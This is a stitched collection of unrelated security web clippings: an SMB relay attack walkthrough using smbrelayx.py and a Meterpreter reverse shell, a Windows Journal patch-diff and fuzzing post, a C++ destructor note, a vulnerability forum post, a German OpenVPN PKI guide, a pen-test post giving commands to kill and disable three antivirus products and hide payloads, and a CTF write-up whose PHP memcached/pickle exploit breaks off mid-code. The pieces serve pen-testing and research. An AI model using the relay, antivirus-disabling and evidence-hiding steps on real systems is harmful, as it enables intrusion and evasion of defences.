setting \(available in secpol.msc\) ...

<img src='img/smbrelaypic6-ADPolicyNTLM.png' width='578' height='245' />

To this...

<img src='img/smbrelaypic7-ADPolicyNTLMv2.png' width='593' height='245' />

After we make the change to NTLMv2, we try Metasploit again.

<img src='img/smbrelaypic8-MetasploitFail.png' width='672' height='191' />

Now when we run the exploit, Metasploit gets a "Failed to authenticate" error
message. DRAT, our dastardly plan has been foiled by modern security
protocols. Metasploit has support for NTLMv2 in other exploits such as
http\_ntlmrelay, so I imagine this exploit will eventually support NTLMv2.

But, don't worry. We've got you covered. Until then, it is PYTHON TO THE
RESCUE\! Two weeks ago, I showed you psexec.py in my blog post about using a
Python version of psexec at http://pen-
testing.sans.org/blog/2013/03/27/psexec-python-rocks\) It is a Python
implementation of psexec that is distributed with the IMPACKET modules. The
team writing the IMPACKET module for Python is doing some really awesome work.
First of all, the modules they have written are awesome. Beyond that, they
have created several example programs that demonstrate the power of their
Python modules. Best of all, the SMBRELAYX.PY script that comes with IMPACKET
supports NTLMv2\! Sweetness, thy name is IMPACKET\!

Getting the script running will take a little bit of work. You'll need to
download the latest version of IMPACKET and fix the module paths to get it up
and running. To fix this, I put all of the examples in the same directory as
the other modules and then change the import statements to reflect the correct
directories. SMBRELAYX needs an executable to run on the remote host after it
authenticates. What could be better than the meterpreter? Let's use msfpayload
to create a Meterpreter EXE and then setup SMBRELAYX. Smbrelayx.py requires
two parameters: -h is the host you are going to attack and -e is the process
to launch on the remote host. You just provide those options and sit back and
wait for that inventory scanner to connect to your system. Below, I show
msfpayload creating the Meterpreter executable, and the invocation of
smbrelayx.py:

<img src='img/smbrelaypic9-ImpacketSetup.png' width='592' height='222' />

Because we are using a meterpreter reverse shell, we also have to setup
Metasploit so that it is ready to receive the payload connection after it
executes on the target. That is what the multi/handler exploit is for, as
shown below:

<img src='img/smbrelaypic10-MetasploitMultiHandler.png' width='563'
height='166' />

Now, I'll simulate the scanner by attempting to connect to the C$ of our
attacker's Linux box \(10.10.12.10\) from the scanner server \(10.10.12.19\).

<img src='img/Baggett1.png' width='583' height='60' />

Instead of getting back an "Access Denied" like we did from Metasploit, we get
back a "System cannot find the path specified" error. I like this error
message. I think a system admin might question why his username and password
didn't work on a target before he would question why the path doesn't exist.
The smbrelayx.py script's message back to the admin seems therefore more
subtle than the Metasploit message and less likely to get noticed. Immediately
we see the relay occur in the Python script. It authenticates to 10.10.12.20
and launches the meterpreter process as a service using the username and
password provided by 10.10.12.19.

<img src='img/smbrelaypic11-ImpacketExploiting1.png' width='610' height='294'
/>

The payload is delivered to the target after authenticating over NTLMv2 and
meterpreter is launched on the target. To keep our shell, we need to quickly
migrate to another more stable process \(to help automate that migration, we
could use one of the migration scripts available for the meterpreter\).

<img src='img/smbrelaypic12-p0wnage.png' width='590' height='366' />

Ah, the delicious smell of a brand new meterpreter shell. And of course,
because it is a Python module, you can incorporate this script into your own
automated attack tools.

Learn about GIAC's new Python Coder certification  
**GPYC** : www.giac.org/gpyc

Thank you\!

-Mark Baggett  

I am teaching SANS SEC573: Automating Information Security with Python at SANS
Network Security in Las Vegas in September 2018.

### Upcoming SANS Special Event - Pen Test HackFest 2018

<img src='img/HackFest_9x6_NOV2018-1024x683.png' width='660' height='440'
alt='HackFest_9x6_NOV2018' />

**SANS Pen Test HackFest 2018 - Summit & Training**  
November 12-19, 2018 | Bethesda, MD \(Washington DC Area\)
  * \(2\) Day Summit Event with 20+ Amazing Speakers on Pen Test & Red Team Topics
  * Evening Networking Sessions
  * \(3\) Nights of SANS Core NetWars, with Coin-A-Palooza
  * \(1\) Night of CyberCity Missions
  * Choose from \(8\) SANS Pen Test Training Courses
  * Learn more: www.sans.org/hackfest

 _"If you haven't attended a SANS Summit, it's hard to understand the immense
value. This is even more true for Pen Test HackFest"_ \- Jason Nickola, DTS

Permalink | Comments RSS Feed \- Post a comment | Trackback URL
### 11 Comments

Posted April 26, 2013 at 8:03 PM | Permalink | Reply
##### Mike Pilkington

Cool stuff. Thanks Mark\!

Posted April 27, 2013 at 7:09 AM | Permalink | Reply
##### Yuhong Bao

The best way to prevent this attack I think is to require SMB signing, though
the NTLMv2 switch still should be done anyway because v1 only encrypts your
password hash with the strength of 56-bit DES.

Posted April 29, 2013 at 2:20 PM | Permalink | Reply
##### fin

awesome post Mark. Keep up the good work

Posted May 23, 2013 at 10:15 PM | Permalink | Reply
##### Daniel

Very informative post. Thanks\! Can we run SMBRelay through a meterpreter
session?  
Imagine I run: run autoroute -s 10.1.13.0/24 and the IP of the meterpreter
client is 10.1.13.26. If I set the SRVHOST to listen on this address would
that work?  
I have tried this an received an error saying that port 445/139 are busy. But
if I elevated to SYSTEM, closed these ports and then ran SMBRelay. Would that
work? Nobody seems to be able to answer this question.

Posted October 20, 2013 at 1:55 AM | Permalink | Reply
##### John

I've tried this but I cannot get it to work. Could you please tell me the
settings.  
Log:  
Log on my attack machine:  
\[\*\]Server started  
\[\*\]Started bind handler  
msf exploit \(smb\_relay\) > \[-\] Error connecting to 192.168.80.138:445 Rex:
:ConnectionRefused The connection was refused by the remote host
\(192.168.80.138:445\).  
\[\*\]Received 192.168.80.135:1076 \\\ LMHASH:00 NTHASH: OS:Windows 2002
Service Pack 3 2600 LM:Windows 2002 5.1  
\[\*\]Sending Access Denied to 192.168.80.135:1076 \\\  
\[\*\]Received 192.168.80.135:1076 AOUN-BDFF96\\\Test
LMHASH:'''''''''''''''''' NTHASH:'''''''''''''''''''''''''' OS:Windows 2002
Service Pack3 2600 LM:Windows 2002 5.1  
\[\*\]Authenticating to 192.168.80.138 as AOUN-BDFF96\\\Test  
\[-\]Failed to autenticate as AOUN-BDFF96\\\Test''  
\[\*\]Sending Access Denied to 192.168.80.135.1076 AOUN-BDFF96\\\Test

Posted October 24, 2013 at 1:04 PM | Permalink | Reply
##### Mark Baggett

John,  
It is difficult to tell exactly what the problem is based on the information
you provided. It does appear that you were unable to connect to port 445 on
the target you were relaying to. There are also some older versions of windows
in play here. You may try setting the "protocol" option to "139/SMB" to see if
that works. Also if the targets are speaking NTLMv1 then you can also use the
Metasploit SMB Relay module show above. It works great for NTLMv1.

Posted December 9, 2013 at 3:08 PM | Permalink | Reply
##### Fintch

Hi,  
i have this setup win7x64sp1 client on a AD win2008r2 domain full updated with
kalix64 has attack machine.  
i can use the psexec.py command to have a shell on the DC but using the
smbrelayx.py i only get back this messages:

Posted December 10, 2013 at 4:49 PM | Permalink | Reply
##### Fintch

\[\*\] HTTPD: Received connection from 192.168.246.205, attacking target
192.168.246.207  
\[\*\] SMBD: Received connection from 192.168.246.205, attacking target
192.168.246.207  
\[\*\] Authenticating against 192.168.246.207 as HACK\\\Administrator SUCCEED  
\[\*\] Requesting shares on 192.168.246.207''..  
\[\!\] Error requesting shares on 192.168.246.207, aborting''..  
\[\!\] Error performing the installation, cleaning up: SMB SessionError:
class: ERRNT, code: STATUS\_ACCESS\_DENIED\(Access is denied.\)  
\[\*\] Service Installed.. CONNECT\!  
\[\*\] Opening SVCManager on 192.168.246.207''..  
\[\!\] Error performing the uninstallation, cleaning up

Posted September 24, 2014 at 11:42 AM | Permalink | Reply
##### Kali

DCs require by default SMB signing.

Posted December 21, 2013 at 4:07 AM | Permalink | Reply
##### vuong chieu

you can send to me script SMBRELAYX.PY and all module python. I don't find it
on website. thanks all

Posted September 25, 2014 at 12:24 PM | Permalink | Reply
##### Mark Baggett

vuong chieu,  
I provide some links and talk about the installation on this post:  
http://pen-testing.sans.org/blog/pen-testing/2013/05/21/tds-mssql-and-python-
oh-my  
Mark

### Post a Comment

\*Name  

\*Email  

Website  

\*Comment  

Captcha  
<img src='img/Temp2_7101.png' width='250' height='80' alt='Captcha' />

\*Response  

  

\* Indicates a required field.

  

# CVE-2014-1824 – A New Windows Fuzzing Target | BeyondTrust
**Created:**| _12/2/2014 1:36:07 PM_  
---|---  
**Updated:**| _12/2/2014 1:36:07 PM_  
**Author:**| __  
**Tags:**| __  
  

# CVE-2014-1824 – A New Windows Fuzzing Target

_Posted November 25, 2014_ BeyondTrust Research Team

As time progresses, due to constant fuzzing and auditing many common Microsoft
products are becoming reasonably hard targets to fuzz and find interesting
crashes. There are two solutions to this: write a better fuzzer
\(http://lcamtuf.coredump.cx/afl/\) or pick a less audited target.

In a search for less audited attack surface, we are brought to MS14-038,
Vulnerability in Windows Journal Could Allow Remote Code Execution
\(2975689\). Before we start attacking this application, we would like to
understand the vulnerability addressed by MS14-038.

Windows Journal is a tablet component shipped with Windows Vista forward,
meant for taking notes and such. It has a file association of ‘.jnt’.

The bulletin doesn’t give too much information, but reveals the problem is
some kind of parsing issue. The patch seems to address issues in NBDoc.dll, so
let’s look at the bindiff of pre/post patch.

<img src='img/Temp2_1347.png' alt='1_changed' />

The diff is ugly, many functions have changed and a few have been
added/removed. So where do we go from here? Looking at the individual changes,
we come across a few fixes that look security related, but after numerous
dead-ends, one is more attractive than the rest – sub\_2ECE0B90. A high level
view of this function is seen below.

<img src='img/Temp2_1354.png' alt='2_InterestingFunciton' />

This function is somewhat big and has quite a few changes, but is interesting
for a couple reasons:

First off, apart from some structural changes, there are several calls to
memcpy in the unpatched function. Only one of these has been converted to a
memcpy\_s in the patched function, the count of which is now passed in as an
argument to the function.

<img src='img/Temp2_1349.png' alt='4_why_intersting_0' />

Secondly, the function looks like it contains some kind of magic value at the
top. In the very first basic block, further processing is determined by a call
to strncmp, searching for the string “PTC+MSHM”. Perhaps this could be a
useful marker for which to search.

<img src='img/Temp2_1348.png' alt='3_why_interseting2' />

Assuming that this string is in fact a marker for a path to the vulnerable
function we perform a quick Google search.

<img src='img/Temp2_1352.png' alt='5_gotresults' />

After digging around on archive-ro.com, we end up with a link to a journal
file:

http://www.phys.ubbcluj.ro/~vasile.chis/cursuri/info/c1.jnt

Popping this guy open in a hex editor, we get dozens of hits for PTC+MSHM on a
free text search

<img src='img/Temp2_1344.png' alt='6_ptc_marker' />

We now proceed dynamically, attempting to trigger a breakpoint in the affected
function. We set one in the first block of the function of the unpatched DLL
near the call to strncmp on “PTC+MSHM”. Upon hitting it the first time it, the
str1 argument looks like this:

<img src='img/Temp2_1350.png' alt='first_bp_hit' />

Grabbing all the bytes up till the second occurrence of 0f61 and flipping the
endian, we get two hits in our hex editor, one at offset 0x04df and one at
offset 0x2bcb.

<img src='img/Temp2_1346.png' alt='file_hex_edit_1' />

The second hit is different from the dump, lacking the next word 0b70. So it
looks like we are handling this blob at offset 0x04df in the file during the
first function call.

Continuing on, we set a breakpoint above the memcpy of interest at the top of
the block. After some stepping we get to this situation:

<img src='img/Temp2_1353.png' alt='second_bp_hit' />

Well, that 0x0b70 looks familiar… Furtermore, it appears to be pushed as the
size parameter to the memcpy. Let’s modify the initial file, changing 700B to
FFFF.

<img src='img/Temp2_1345.png' alt='source_of_size' />

Restarting the application and opening our modified file, we receive an access
violation.

<img src='img/Temp2_1351.png' alt='b00m' />

So as hoped, we crash in the memcpy and have exercised the vulnerable code.
More than this particular vulnerability we are trying to isolate, this crash
seems like it may be more indicative of less audited code then, say, MS Word.

With visions of unbounded memcpy’s in our eyes, we fired a dumb fuzzer at the
current version of Journal – and as expected it fell over pretty quickly and
in several unique ways — we encourage you to do the same.

Tags:

     Journal, Patch Analysis, security

# All You Ever Wanted to Know About Dynamic Taint Analysis and Forward
Symbolic Execution \(but might have been afraid to ask\)

**Created:**| _4/15/2010 3:56:05 PM_  
---|---  
**Updated:**| _4/15/2010 3:56:42 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research reversing ref awesome
Tainting_  
  
<img src='img/Temp2_516' />

# » Unexpected skip of a destructor 0x

**Created:**| _8/9/2012 2:08:54 PM_  
---|---  
**Updated:**| _8/9/2012 2:08:54 PM_  
**Author:**| __  
**Tags:**| _C++ destructor_  
  

## Unexpected skip of a destructor

July 31st, 2012 § 3 Comments

Writing fairly straightforward C++ code, we usually make heavy use of the RAII
concept. Therefore, we greatly rely on the simple \(and basic\) assumption
that all appropriate destructors will be called. What happens if that is not
the case?

Consider the following piece of code:

[code]

    #include <iostream>
    #include <stdexcept>
    
    struct A {
        A () { std::cout << "A" << std::endl; }
        ~A () { std::cout << "~A" << std::endl; }
    };
    
    void myfunc () {
        A temp;
        throw std::runtime_error("moo");
    }
    
    int main () {
        myfunc();
    }
    
[/code]

You would probably imagine that there is absolutely nothing special about this
code, and that both the constructor and the destructor should be called to
produce their outputs. However, that is not what actually happens.

The given program produces this output \(at least with my XCode\):

> > A  
>  
>  terminate called throwing an exception
The most important detail to take note of in this example, is that the output
of A’s destructor is nowhere to be found – the destructor call is missing.
What if that destructor was supposed to free a lock or a mutex, or worse –
some global system resource? That could be nothing short of a disaster.

Digging further, adding a catch clause to the outermost code would solve the
issue:

[code]

    int main () {
        try {
            myfunc();
        }
        catch (...) {
            // do nothing
        }
    }
    
[/code]

However, I find the reasoning for this phenomena to be the interesting part of
the story. Looking at the C++ standard draft, section 15.3 \[except.handle\]
point 9 reads:

> > If no matching handler is found in a program, the function terminate\(\)  
>  
>  \(\_except.terminate\_\) is called. Whether or not the stack is unwound  
>  
>  before calling terminate\(\) is implementation-defined.
So what happens here is that since the original program never attempts to
catch the given exception, unexpected\(\) ends up getting called. Reading the
given section of the C++ standard lets us know that stack unwinding is not
mandatory in this case, and as such – many compilers are likely to skip
implementing it. As far as I know, both gcc and Visual Studio behave the same
in this context, and do not perform a full stack unwinding in this case.

Moreover, a bug of this nature actually happened to a colleague of mine:
essential destructor code was missing from actual production execution,
causing a leak of global system resources. That was a hard bug to track.

**Tagged:** Exceptions, RAII

### § 3 Responses to _Unexpected skip of a destructor_

  * Michal Mocny
31/07/2012 at 23:39

Awesome, thanks for that lesson\!

While I don’t recall ever running into this situation \(skipped destructors
having critical system side effects\), I’m sure I came close\! It certainly
would have been a hard bug to track down.

Curious how different the case is when the exception is thrown from another
std::thread.. I would guess there is a default handler which moves the
exception across thread boundary and so the stack would unwind at least up to
thread boundary..

Thanks for sharing\!

Reply

  * Ofek
07/08/2012 at 08:50

I’m guessing the rationale behind this standard behaviour is – if an exception
goes uncaught the process will terminate, and we might as well leave the due
cleanup to the OS process-disposal facilities. At least in windows, the OS
does release on your behalf all resources \(including global ones\). You could
shoot yourslef in the foot with some exotic behaviour
\(http://blogs.msdn.com/b/oldnewthing/archive/2007/05/03/2383346.aspx\), but
if you rely only on standard resources and don’t try anything fancy \(as in
thread creation\) during dll-detach, that rationale should hold. What
resources exactly were leaked in your colleague’s case? Was it windows?

# Qualys Community: Microsoft Windows Browser Election Heap...

**Created:**| _4/21/2011 10:20:54 AM_  
---|---  
**Updated:**| _4/21/2011 10:20:54 AM_  
**Author:**| __  
**Tags:**| _Exploit windows browser_  
  

## Microsoft Windows Browser Election Heap Overflow Vulnerability - Zero Day

Hello,

  
Does anyone have experience with this vulnerability? I know that this is a
"zero day" vulnerability, Microsoft has yet to release a patch. But what can
we do about it?

  
M.

**\(severity 3\) Microsoft Windows Browser Election Heap Overflow
Vulnerability - Zero Day**

**QID:** 90687  
**Category:** Windows  
**CVE ID:** CVE-2011-0654  
**Vendor Reference:** -  
**Bugtraq ID:** -  
**Service Modified:** 02/19/2011  
**User Modified:** -  
**Edited:** No  
**PCI Vuln:** No

**THREAT:**  
Microsoft Active Directory is an LDAP \(Lightweight Directory Access
Protocol\) implementation distributed with multiple Windows operating systems.  
Active Directory is prone to a remote heap-based buffer overflow vulnerability
because the application fails to perform adequate boundary checks on  
user-supplied data. This issue occurs when handling malformed election
datagram packets sent to a computer when electing a new master browser.

**Affected Systems:**  
Microsoft Windows Server 2003 Service Pack 2 is confirmed affected. Other
systems might also be vulnerable

****

**IMPACT:**  
Successfully exploiting this vulnerability might allow a remote attacker to
cause denial of service. Remote code execution might also be possible.

**SOLUTION:**  
There are no vendor-supplied patches available at this time.

**COMPLIANCE:**  
Not Applicable

**EXPLOITABILITY:**

Metasploit  
Reference: CVE-2011-0654  
Description: MODULE USAGE - Metasploit Ref :
/modules/auxiliary/dos/windows/smb/ms11\_xxx\_electbowser  
Link:
http://www.metasploit.com/modules/auxiliary/dos/windows/smb/ms11\_xxx\_electbowser

The Exploit-DB  
Reference: CVE-2011-0654  
Description: MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap
Overflow - The Exploit-DB Ref : 16166  
Link: http://www.exploit-db.com/exploits/16166

**ASSOCIATED MALWARE:**  
There is no malware information for this vulnerability.

**RESULTS:**  
Microsoft Windows BROWSER Election Heap Overflow Vulnerability.

# reversing and auditing androids proprietary bits -public

**Created:**| _9/27/2013 12:10:50 PM_  
---|---  
**Updated:**| _9/27/2013 12:11:27 PM_  
**Author:**| _wishi_  
**Tags:**| _reversing android_  
  
<img src='img/reversingandauditingandroidsproprietarybits-
public-130627115226-phpapp01.pdf' />

# Erzeugen einer PKI mit EasyRSA – OpenVPN Wiki

**Created:**| _9/3/2009 6:51:13 PM_  
---|---  
**Updated:**| _9/3/2009 6:51:21 PM_  
**Author:**| __  
**Tags:**| _setup network-security_  
  

# Erzeugen einer PKI mit EasyRSA

## Inhaltsverzeichnis

  * 1 Einleitung
  * 2 Erzeugen der Zertifizierungstelle \(CA\)
    * 2.1 vars bzw. vars.bat editieren
    * 2.2 vars einlesen und die CA initialisieren
    * 2.3 CA-Key und CA-Cert erzeugen
    * 2.4 Diffie-Hellman Parameter erzeugen
  * 3 Erzeugen von Schlüsselpaaren direkt von der CA
    * 3.1 Einleitung und Sicherheitshinweise
    * 3.2 Erzeugen eines Server-Schlüsselpaars
    * 3.3 Erzeugen eines Client-Schlüsselpaars \(mit Passwort\)
    * 3.4 Erzeugen eines Client-Schlüsselpaars \(ohne Passwort\)
    * 3.5 Schlüsselübersicht

  
---  
## Einleitung

OpenVPN bietet mit EasyRSA eine Scriptsammlung um eine dateibasierte, minimale
Zertifizierungsstelle zu generieren. Diese Scriptsammlung liegt dem OpenVPN
Source Package sowie den meisten RPMs bei.

Hinweis: In der Windowsversion des Installationspaket liegt nur eine veraltete
Version der Sammlung bei. Vor Erzeugung der PKI sollte der easy-rsa Ordner mit
dem des Source Package ausgetauscht werden.

## Erzeugen der Zertifizierungstelle \(CA\)

### vars bzw. vars.bat editieren

Dies ist die vars Datei \(mit weniger Kommentaren\) unter Linux, bei Windows
sieht sie sehr ähnlich aus:

[code]

    export D=`pwd`
    export KEY_CONFIG=$D/openssl.cnf
    export KEY_DIR=$D/keys
    
    echo NOTE: when you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
    
    export KEY_SIZE=1024 # oder 2048
    
    # folgende Variablen anpassen:
    export KEY_COUNTRY=KG
    export KEY_PROVINCE=NA
    export KEY_CITY=BISHKEK
    export KEY_ORG="OpenVPN-TEST"
    export KEY_EMAIL="me@myhost.mydomain"
    
    
[/code]

Als nächstes müssen wir unter Windows eine DOS Box öffnen \(Start->Ausführen:
cmd\) und in unser easy-rsa Verzeichnis wechseln \(wo die vars.bat\) ist.
Unter Linux analog eine Shell öffnen und ins easy-rsa Verzeichnis wechseln.

Die vars Datei findet man unter Linux folgendermaßen:

[code]

    cd / && find -iname vars
    
    
[/code]

Unter Debian 4.0r3 kann EasyRS unter folgendem Pfad gefunden werden:
/usr/share/doc/openvpn/examples/easy-rsa/

### vars einlesen und die CA initialisieren

In der DOS Box oder Shell die vars bzw. vars.bat Datei ausführen \($ und >
sind die Prompts, nicht eintippen\):

[code]

    $ . ./vars
    
[/code]

Achtung, das Leerzeichen ist wichtig. Die Datei wird nicht ausgeführt sondern
im aktuellen Shellkontext eingelesen.

bzw.

[code]

    > vars.bat
    
[/code]

Damit setzen wir einige Umgebungsvariablen, daher sollten wir die DOS Box oder
Shell ab jetzt nicht schließen bevor nicht alle Zertifikate/Dateien erstellt
wurden. Sonst muß vars wieder eingelesen werden.

Danach wird die CA initialisiert:

[code]

    $ ./clean-all
    
[/code]

[code]

    > clean-all.bat
    
[/code]

**Diesen Vorgang nur einmal ausführen, danach nie wieder\!**

###  CA-Key und CA-Cert erzeugen

[code]

    $ ./build-ca
    
[/code]

[code]

    > build-ca.bat
    
[/code]

Beim Common Name \(CN\) einen einfachen Namen \(z.B. MYvpnCA\) angeben. Im
keys-Verzeichnis liegt nun das Schlüsselpaar der CA. Der Schlüssel ca.key ist
auf jedenfall geheim zu halten\!

### Diffie-Hellman Parameter erzeugen

[code]

    $ ./build-dh
    
[/code]

[code]

    > build-dh.bat
    
[/code]

Diese Datei wird vom OpenVPN Server verwendet um bei vielen gleichzeitugen
Clientverbindungen den TLS-Handshake zu beschleunigen.

## Erzeugen von Schlüsselpaaren direkt von der CA

### Einleitung und Sicherheitshinweise

Sofern ein Zertifikat nachträglich ausgestellt wird, muss das vars-Script
erneut ausgeführt werden, bevor die folgenden Befehle ausgeführt werden.

Im Normalfall werden die Schlüsselpaare nicht auf der CA sondern auf den
Servern und Clients erzeugt und lediglich von der CA signiert. Siehe auch
Public Key Infrastructure. In kleinen Installationen, so wie dieser, kann es
jedoch ausreichen, die Schlüsselpaare am CA-Rechner zu erzeugen, zu signieren
und schließlich auf die Rechner zu kopieren.

Einen Private-Key sollte man nur über einen sicheren Kanal kopieren.
\(Gesicherte Verbindung, USB Stick, evtl. LAN\)

### Erzeugen eines Server-Schlüsselpaars

[code]

    $ . ./vars
    $ ./build-key-server server01
    
    
[/code]

bzw.

[code]

    > vars.bat
    > build-key-server.bat server01
    
    
[/code]

Als Common Name \(CN\) ebenfalls server01 angeben. Am besten nie
Sonderzeichen, Abstände, ugl. für den CN verwenden.

**Hinweis:** Das Challenge Password ist nicht relevant und dient in diesem
Fall keinem Sicherheitsaspekt. Der Server-Key wird standardmäßig ohne ein
Password erzeugt.

Die Dateien ca**.crt** , server01.crt, server01.key und - falls noch nicht
geschehen - die dh1024.pem aus dem keys-Verzeichnis auf die Server-Maschine
kopieren.

**Achtung:** Diese Keys nur für Server verwenden\! In den Clients folgende
Konfigurationsdirektive ergänzen:

[code]

    ns-cert-type server
    
[/code]

### Erzeugen eines Client-Schlüsselpaars \(mit Passwort\)

[code]

    $ . ./vars
    $ ./build-key-pass vpnclient01
    
    
[/code]

bzw.

[code]

    > vars.bat
    > build-key-pass.bat vpnclient01
    
    
[/code]

Als Common Name \(CN\) ebenfalls vpnclient01 angeben. Die Passphrase \(nicht
Challenge Password\) dient der Sicherheit des Private Keys. Sollte man sie
vergessen, ist ein Wiederherstellen des Keys nicht mehr möglich\!

**Hinweis** :  _Organizational Unit Name_ und  _Common Name_ dürfen die
gleiche Bezeichnungen haben. Wichtig ist aber, daß diese beim erstellen
weiterer Zertifikate unterschiedlich sein müssen\! \(_Organizational Unit
Name1 = Common Name1 ungleich Organizational Unit Name2 = Common Name2
ungleich Organizational Unit Name3 = Common Name3 ...._\)

Die Dateien ca**.crt** , vpnclient01.crt und vpnclient01.key werden über einen
sicheren Kanal auf die Client-Maschine kopiert.

### Erzeugen eines Client-Schlüsselpaars \(ohne Passwort\)

Für das Erzeugen eines Client-Keys  _ohne Passphrase_ , einfach build-key
statt build-key-pass verwenden. Im allgemeinen ist dies jedoch nicht zu
empfehlen.

[code]

    $ . ./vars
    $ ./build-key vpnclient01
    
    
[/code]

bzw.

[code]

    > vars.bat
    > build-key.bat vpnclient01
    
    
[/code]

### Schlüsselübersicht

Hier noch eine kleine Zuordungstabelle, welche Zertifikate wo hinkommen:

**Dateiname**| **Speicherort**| **Beschreibung**| **geheim**  
---|---|---|---  
ca.crt | Server + Clients | Root CA Zertifikat | Nein   
ca.key | im Safe :\) | Root CA Schlüssel | Ja   
dh\{Wert\}.pem | Server | Diffie Hellman | Nein   
server.crt | Server | Server Zertifikat | Nein   
server.key | Server | Server Schlüssel | Ja   
vpnclient01.crt | Client 1 | Client 1 Zertifikat | Nein   
vpnclient01.key | Client 1 | Client 1 Schlüsssel | Ja 

# Net = Packet Header \!= Security ? 0 : 1: Disabling AntiVirus when Pen
Testing

**Created:**| _12/5/2011 8:42:11 PM_  
---|---  
**Updated:**| _12/5/2011 8:42:11 PM_  
**Author:**| __  
**Tags:**| _pentest antivirus_  
  

###  Disabling AntiVirus when Pen Testing

When penetration testing, and targeting Windows systems, writing some
executable content to the file system is invariably required at some stage.
Unfortunately today, the antivirus vendors have become quite adept with
signatures that match assembly stub routines that are used to inject malware
into a system. The A/V guys will also pick up on common service executable
files such as being used with Metasploit’s bypassuac. Let’s face it, we still
need to write stuff into temp directories from time to time.  
  
Mark Baggett, and Tim Tomes recently presented some nice techniques on hiding
malware within Windows volume shadow copies
\(http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-
baggett-lurking-in-the-shadows\). Since it is unlikely for A/V products to be
able to scan volume shadow copies, and the capability to create a process from
a volume shadow copy using ‘wmic’ exists, then we would likely want to follow
this sequence of tasks during a test:  
  
a\) Disable the A/V product of choice.  
b\) Upload our favorite/useful executable content. \(perhaps a reverse TCP
meterpreter shell or similar\)  
c\) Upload Mark and Tim’s excellent vssown.vbs script  
a. Enable service and create volume shadow copy.  
b. Disable volume shadow copy service.  
d\) Delete our favorite/useful executable content and modified timestamps
accordingly assuming we want to be somewhat stealthy.  
e\) Execute our content from the volume shadow copy using ‘wmic’ using the
excellent vssown script, or just through ‘wmic process call create’.  
  
The challenge presented is whether we can effectively disable the antivirus
product of choice. Listed below are some possible techniques for three popular
products which may get us what we need. None of these techniques are stealthy
from a user interface perspective. Otherwise said, Windows security center and
the A/V tray executable files themselves will try to inform the user that
something is broken when we proceed with these recipes.  
  
  
1\. Grisoft’s AVG  
  
Using the 2012 Freeware version, I note the following information about AVG.
Services running are the AVG watchdog \(avgwd\), and the AVG IDS agent
\(avgidsagent\). The running processes are as follows: avgidsagent.exe,
avgwdsvc.exe, avgemca.exe, avgrsa.exe, avgcsrva.exe, and avgnsa.exe. The
watchdog process is very persistent at restarting things, is not killable, and
neither is the service stoppable.  
  
DISABLING:  
a. Rename the binary files in %systemroot%\program files\avg\avg2012\ as
follows.  
  
**C:\ > cd %systemroot%\program files\avg\avg2012**  
**C:\ > move avgcsrva.exe avgcsrva\_.exe**  
**C:\ > move avgemca.exe avgemca\_.exe**  
**C:\ > move avgnsa.exe avgnsa\_.exe**  
**C:\ > move avgrsa.exe avgrsa\_.exe**  
  
b. Kill the running processes simultaneously with a one line \(wildcard
powered\) wmic command.  
  
**C:\ > wmic process where “name like ‘avg\[cenr\]%.exe’” delete**  
  
c. The watchdog service will to restart all of the binaries but fail.  
  
ENABLING: Rename all of the binaries back to their original names, and the
watchdog process will take care of the rest.  
  
  
2\. Microsoft Forefront  
  
The service name is “msmpsvc”, and the running processes are msmpeng.exe, and
msseces.exe, one being the engine and the other being the GUI
reporting/configuration tool respectively.  
  
DISABLING: kill the GUI tool and stop the A/V engine service.  
  
**C:\ > wmic process where name=”msseces.exe” delete**  
**C:\ > sc stop msmpsvc**  
  
ENABLING: start the A/V service engine, and start the GUI process.  
  
**C:\ > cd \Program Files\Microsoft Security Client**  
**C:\ > sc start msmpsvc**  
**C:\ > msseces.exe**  
  
  
3\. Symantec Endpoint Protection  
  
The services running are ccEvtMgr, ccSetMgr, smcservice, and “Symantec
AntiVirus”. The processes that matter are smb.exe, and smcgui.exe.  
  
DISABLING: kill the processes, and stop the services. I found that the event
manager \(ccEvtMgr\), and settings manager \(ccSetMgr\) service can remain
running without any impact.  
  
**C:\ > wmic process where “name like ‘%smc%.exe’” delete**  
**C:\ > sc stop smcservice**  
**C:\ > sc stop “Symantec AntiVirus”**  
  
ENABLING: restarting just the smcservice will start everything else back up
again.  
  
**C:\ > sc start smcservice**

# DE EINDBAZEN: pCTF 2011 - Mission 13: "Django..really?" Write-up

**Created:**| _4/26/2011 9:07:54 PM_  
---|---  
**Updated:**| _4/26/2011 9:07:54 PM_  
**Author:**| __  
**Tags:**| _ctf Django awesome_  
  

### pCTF 2011 - Mission 13: "Django..really?" Write-up

This is a quick write up of the Django webchallenge from PlaidCTF 2011.  

  

Web application is a guestbook written using Django and can be found at:
http://a12.amalgamated.biz/DjangoProblem1

  

Upon investigation it turns out they have pagecaching in Django enabled using
Memcache. Memcache is a key/value store accessible over TCP. The memcache
server is publicly accessible on the default memcached port 11211.

  

Some snooping around on the memcached server reveals Django uses python
serialized objects in the cache. Serialized objects in the memcache keystore
have a flag of '1'. \(We missed this detail for a long time :/\)

  

These serialized objects can be serialized/unserialized using the
pickle/cPickle API in python. Pickle is pretty insecure in some regards, as
documented here: http://nadiana.com/python-pickle-insecure

Long story short: we can execute commands upon object deserialization.

  

When we trick the webserver/application into thinking we are requesting a new
page that has not been cached yet by appending parameters to the GET
querystring we can create arbitrary cache objects.

  

By grabbing a list of all cache items in memcached, requesting a new page and
grabbing a list of all cache items again we can figure out which cache key
belongs to our page.

  

Without further ado, our exploit:

  

[code]

    <?php
    
        function alert($str) {
            echo "[!] ".$str."\n";
        }
    
        function info($str) {
            echo "[~] ".$str."\n";
        }
    
        function read_till_end($f, $last) {
            $buf = null;
            while(1) {
                $buf = fread($f, 8192);
                if (strpos($buf, $last) !== false)
                    return $buf;
            }
        }
    
        function get_keys($f) {
            info("requesting items..");
            fwrite($f, "stats items\r\n");
    
            $buf = read_till_end($f, "END");
            $lines = explode("\n", $buf);
            $ids=array();
    
            info("parsing items..");
            foreach($lines as $line) {
                $p = explode(":", $line);
    
                if(count($p)<=1)
                    continue;
    
                if (!in_array($p[1], $ids))
                    $ids[]=$p[1];
            }
    
            $keys = array();
    
            foreach($ids as $id) {
                info("parsing slabz ".$id);
                fwrite($f, "stats cachedump ".$id." 100\r\n");
        
                $b = read_till_end($f, "END");
    
                $lines = explode("\n", $b);
    
                foreach($lines as $line) {
                    $p = explode(" ", $line);
    
                    if (count($p) > 1 && strpos($line, "GET") !== false)
                        $keys[] = $p[1];
